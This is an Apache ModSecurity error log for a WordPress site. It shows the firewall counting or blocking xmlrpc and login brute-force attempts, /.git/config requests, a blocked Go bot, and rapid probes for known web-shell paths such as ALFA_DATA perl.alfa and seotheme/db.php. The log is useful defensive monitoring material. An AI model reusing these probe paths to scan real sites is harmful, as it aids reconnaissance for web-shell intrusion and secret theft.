[Tue Dec 09 08:52:56.060735 2025] [:error] [pid 62039:tid 62043] [client 203.160.171.82:54063] [client 203.160.171.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.160.171.82, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTdy6K-WdjFepfLrlW64MwAAAAA"]
[Tue Dec 09 08:53:57.727937 2025] [:error] [pid 34783:tid 34802] [client 203.160.171.82:54887] [client 203.160.171.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.160.171.82, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTdzJa17odLapL7SFcxc-AAAAVE"]
[Tue Dec 09 08:54:57.837538 2025] [:error] [pid 34783:tid 34790] [client 203.160.171.82:55725] [client 203.160.171.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.160.171.82, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTdzYa17odLapL7SFcxdIAAAAUU"]
[Tue Dec 09 11:05:26.380054 2025] [:error] [pid 62039:tid 62047] [client 185.169.252.163:39836] [client 185.169.252.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aTeR9q-WdjFepfLrlW7vFgAAAAQ"]
[Tue Dec 09 11:05:31.722678 2025] [:error] [pid 62039:tid 62049] [client 185.169.252.163:50384] [client 185.169.252.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aTeR-6-WdjFepfLrlW7vHwAAAAY"]
[Tue Dec 09 11:22:05.495592 2025] [:error] [pid 34783:tid 34799] [client 45.138.16.233:53667] [client 45.138.16.233] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/postnews.php"] [unique_id "aTeV3a17odLapL7SFcx9SwAAAU4"]
[Tue Dec 09 11:22:06.090679 2025] [:error] [pid 34783:tid 34798] [client 45.138.16.233:53743] [client 45.138.16.233] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/postnews.php"] [unique_id "aTeV3q17odLapL7SFcx9TwAAAU0"]
[Tue Dec 09 11:22:06.686206 2025] [:error] [pid 62040:tid 62071] [client 45.138.16.233:53822] [client 45.138.16.233] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/postnews.php"] [unique_id "aTeV3vkSVjwLGqZL-9Km5wAAAEE"]
[Tue Dec 09 11:30:07.830583 2025] [:error] [pid 26689:tid 26756] [client 194.163.158.166:46812] [client 194.163.158.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.163.158.166, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTeXv9kbfj8nyBvIyRCPXgAAARQ"]
[Tue Dec 09 11:30:11.665025 2025] [:error] [pid 62124:tid 62147] [client 194.163.158.166:33564] [client 194.163.158.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.163.158.166, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTeXw1raBX51GaCVVuWNvwAAANQ"], referer: http://gigfragments.org/wp-login.php
[Tue Dec 09 11:30:15.142198 2025] [:error] [pid 34783:tid 34787] [client 194.163.158.166:33570] [client 194.163.158.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.163.158.166, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTeXx617odLapL7SFcx_TgAAAUI"]
[Tue Dec 09 11:30:18.864791 2025] [:error] [pid 62124:tid 62134] [client 194.163.158.166:33576] [client 194.163.158.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.163.158.166, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTeXylraBX51GaCVVuWNxQAAAMc"]
[Tue Dec 09 11:37:31.461723 2025] [:error] [pid 62124:tid 62140] [client 64.227.76.238:32894] [client 64.227.76.238] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.227.76.238, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTeZe1raBX51GaCVVuWQCgAAAM0"]
[Tue Dec 09 11:37:34.018166 2025] [:error] [pid 62039:tid 62065] [client 64.227.76.238:25936] [client 64.227.76.238] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.227.76.238, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTeZfq-WdjFepfLrlW77ggAAABY"], referer: http://gigfragments.org/wp-login.php
[Tue Dec 09 11:37:36.350985 2025] [:error] [pid 34783:tid 34797] [client 64.227.76.238:25944] [client 64.227.76.238] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.227.76.238, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTeZgK17odLapL7SFcyBBgAAAUw"]
[Tue Dec 09 11:37:38.618348 2025] [:error] [pid 62124:tid 62134] [client 64.227.76.238:25956] [client 64.227.76.238] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.227.76.238, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTeZglraBX51GaCVVuWQDwAAAMc"]
[Tue Dec 09 11:53:11.759357 2025] [:error] [pid 26689:tid 26742] [client 103.38.161.197:60656] [client 103.38.161.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.38.161.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTedJ9kbfj8nyBvIyRCUigAAAQc"]
[Tue Dec 09 11:53:13.863587 2025] [:error] [pid 62039:tid 62055] [client 103.38.161.197:35708] [client 103.38.161.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.38.161.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTedKa-WdjFepfLrlW4AhQAAAAw"], referer: http://gigfragments.org/wp-login.php
[Tue Dec 09 11:53:15.544840 2025] [:error] [pid 6097:tid 6114] [client 103.38.161.197:36190] [client 103.38.161.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.38.161.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTedK-Y9nDD1R9gHO2QC0QAAAc8"]
[Tue Dec 09 11:53:17.234132 2025] [:error] [pid 62039:tid 62061] [client 103.38.161.197:36592] [client 103.38.161.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.38.161.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTedLa-WdjFepfLrlW4AiAAAABI"]
[Tue Dec 09 12:02:05.400069 2025] [:error] [pid 7287:tid 7291] [client 132.145.196.107:50078] [client 132.145.196.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 132.145.196.107, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTefPf3UQf3HGDaVS5PLmQAAAAI"]
[Tue Dec 09 13:29:24.337042 2025] [:error] [pid 12069:tid 12094] [client 43.157.148.38:56096] [client 43.157.148.38] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aTeztGwNDNgPF6LHYDS8bgAAAFc"]
[Tue Dec 09 14:53:49.982361 2025] [:error] [pid 59388:tid 59409] [client 45.138.16.233:50662] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aTfHfd7acjYK4IXwCBWifAAAAJM"], referer: www.google.com
[Tue Dec 09 14:53:49.982407 2025] [:error] [pid 59388:tid 59392] [client 45.138.16.233:50661] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aTfHfd7acjYK4IXwCBWiewAAAII"]
[Tue Dec 09 14:53:49.983773 2025] [:error] [pid 7382:tid 7406] [client 45.138.16.233:50677] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "aTfHfSdEXhamGkzwq-gxdgAAAcw"]
[Tue Dec 09 14:53:49.989466 2025] [:error] [pid 7382:tid 7402] [client 45.138.16.233:50678] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-plain.php"] [unique_id "aTfHfSdEXhamGkzwq-gxdwAAAcg"], referer: www.google.com
[Tue Dec 09 14:53:49.992211 2025] [:error] [pid 7382:tid 7398] [client 45.138.16.233:50670] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTfHfSdEXhamGkzwq-gxeAAAAcQ"], referer: www.google.com
[Tue Dec 09 14:53:50.586429 2025] [:error] [pid 59388:tid 59400] [client 45.138.16.233:53120] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "aTfHft7acjYK4IXwCBWigAAAAIo"]
[Tue Dec 09 14:53:50.595327 2025] [:error] [pid 59388:tid 59407] [client 45.138.16.233:53126] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aTfHft7acjYK4IXwCBWigQAAAJE"]
[Tue Dec 09 14:53:50.599191 2025] [:error] [pid 59388:tid 59408] [client 45.138.16.233:53127] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aTfHft7acjYK4IXwCBWiggAAAJI"], referer: www.google.com
[Tue Dec 09 14:53:50.605309 2025] [:error] [pid 59388:tid 59404] [client 45.138.16.233:50512] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-plain.php"] [unique_id "aTfHft7acjYK4IXwCBWigwAAAI4"], referer: www.google.com
[Tue Dec 09 14:53:50.606993 2025] [:error] [pid 59388:tid 59391] [client 45.138.16.233:50549] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTfHft7acjYK4IXwCBWihAAAAIE"], referer: www.google.com
[Tue Dec 09 14:53:51.189808 2025] [:error] [pid 59388:tid 59399] [client 45.138.16.233:59602] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "aTfHf97acjYK4IXwCBWiiAAAAIk"]
[Tue Dec 09 14:53:51.217773 2025] [:error] [pid 59388:tid 59414] [client 45.138.16.233:59728] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aTfHf97acjYK4IXwCBWiigAAAJg"]
[Tue Dec 09 14:53:51.218202 2025] [:error] [pid 7382:tid 7407] [client 45.138.16.233:59723] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aTfHfydEXhamGkzwq-gxigAAAc0"], referer: www.google.com
[Tue Dec 09 14:53:51.234131 2025] [:error] [pid 7382:tid 7408] [client 45.138.16.233:59742] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTfHfydEXhamGkzwq-gxiwAAAc4"], referer: www.google.com
[Tue Dec 09 14:53:51.236287 2025] [:error] [pid 7324:tid 7353] [client 45.138.16.233:59746] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-plain.php"] [unique_id "aTfHf-f70zXc9zH4rTLTzgAAAVg"], referer: www.google.com
[Tue Dec 09 14:53:51.795936 2025] [:error] [pid 7324:tid 7334] [client 45.138.16.233:60700] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "aTfHf-f70zXc9zH4rTLT0wAAAUU"]
[Tue Dec 09 14:53:51.823202 2025] [:error] [pid 7324:tid 7333] [client 45.138.16.233:60751] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aTfHf-f70zXc9zH4rTLT1AAAAUQ"], referer: www.google.com
[Tue Dec 09 14:53:51.823847 2025] [:error] [pid 59388:tid 59410] [client 45.138.16.233:60742] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aTfHf97acjYK4IXwCBWijwAAAJQ"]
[Tue Dec 09 14:53:51.832911 2025] [:error] [pid 59388:tid 59398] [client 45.138.16.233:60769] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-plain.php"] [unique_id "aTfHf97acjYK4IXwCBWikAAAAIg"], referer: www.google.com
[Tue Dec 09 14:53:51.836167 2025] [:error] [pid 59388:tid 59400] [client 45.138.16.233:60768] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTfHf97acjYK4IXwCBWikQAAAIo"], referer: www.google.com
[Tue Dec 09 14:53:52.411468 2025] [:error] [pid 7324:tid 7352] [client 45.138.16.233:52472] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "aTfHgOf70zXc9zH4rTLT2gAAAVc"]
[Tue Dec 09 14:53:52.424412 2025] [:error] [pid 7324:tid 7331] [client 45.138.16.233:60565] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aTfHgOf70zXc9zH4rTLT2wAAAUI"], referer: www.google.com
[Tue Dec 09 14:53:52.425772 2025] [:error] [pid 7287:tid 7305] [client 45.138.16.233:60616] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-plain.php"] [unique_id "aTfHgP3UQf3HGDaVS5P9cgAAABA"], referer: www.google.com
[Tue Dec 09 14:53:52.427266 2025] [:error] [pid 7287:tid 7298] [client 45.138.16.233:60579] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aTfHgP3UQf3HGDaVS5P9cwAAAAk"]
[Tue Dec 09 14:53:52.447340 2025] [:error] [pid 7324:tid 7349] [client 45.138.16.233:60623] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTfHgOf70zXc9zH4rTLT3AAAAVQ"], referer: www.google.com
[Tue Dec 09 14:53:53.630479 2025] [:error] [pid 7324:tid 7339] [client 45.138.16.233:61400] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aTfHgef70zXc9zH4rTLT6gAAAUo"], referer: www.google.com
[Tue Dec 09 14:53:53.663559 2025] [:error] [pid 7325:tid 7357] [client 45.138.16.233:61415] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTfHgQqEQlZnpyQAsW1Z_AAAAYE"], referer: www.google.com
[Tue Dec 09 14:53:54.845636 2025] [:error] [pid 7382:tid 7417] [client 45.138.16.233:61180] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aTfHgidEXhamGkzwq-gxlAAAAdc"], referer: www.google.com
[Tue Dec 09 14:53:54.895939 2025] [:error] [pid 7287:tid 7293] [client 45.138.16.233:57569] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTfHgv3UQf3HGDaVS5P9hQAAAAQ"], referer: www.google.com
[Tue Dec 09 14:53:56.052382 2025] [:error] [pid 7324:tid 7334] [client 45.138.16.233:61526] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aTfHhOf70zXc9zH4rTLUAgAAAUU"], referer: www.google.com
[Tue Dec 09 14:53:56.112724 2025] [:error] [pid 7325:tid 7371] [client 45.138.16.233:61569] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTfHhAqEQlZnpyQAsW1aEwAAAY8"], referer: www.google.com
[Tue Dec 09 14:53:57.268636 2025] [:error] [pid 7287:tid 7307] [client 45.138.16.233:60968] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aTfHhf3UQf3HGDaVS5P9lAAAABI"], referer: www.google.com
[Tue Dec 09 14:53:57.321293 2025] [:error] [pid 7382:tid 7410] [client 45.138.16.233:61889] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTfHhSdEXhamGkzwq-gxtgAAAdA"], referer: www.google.com
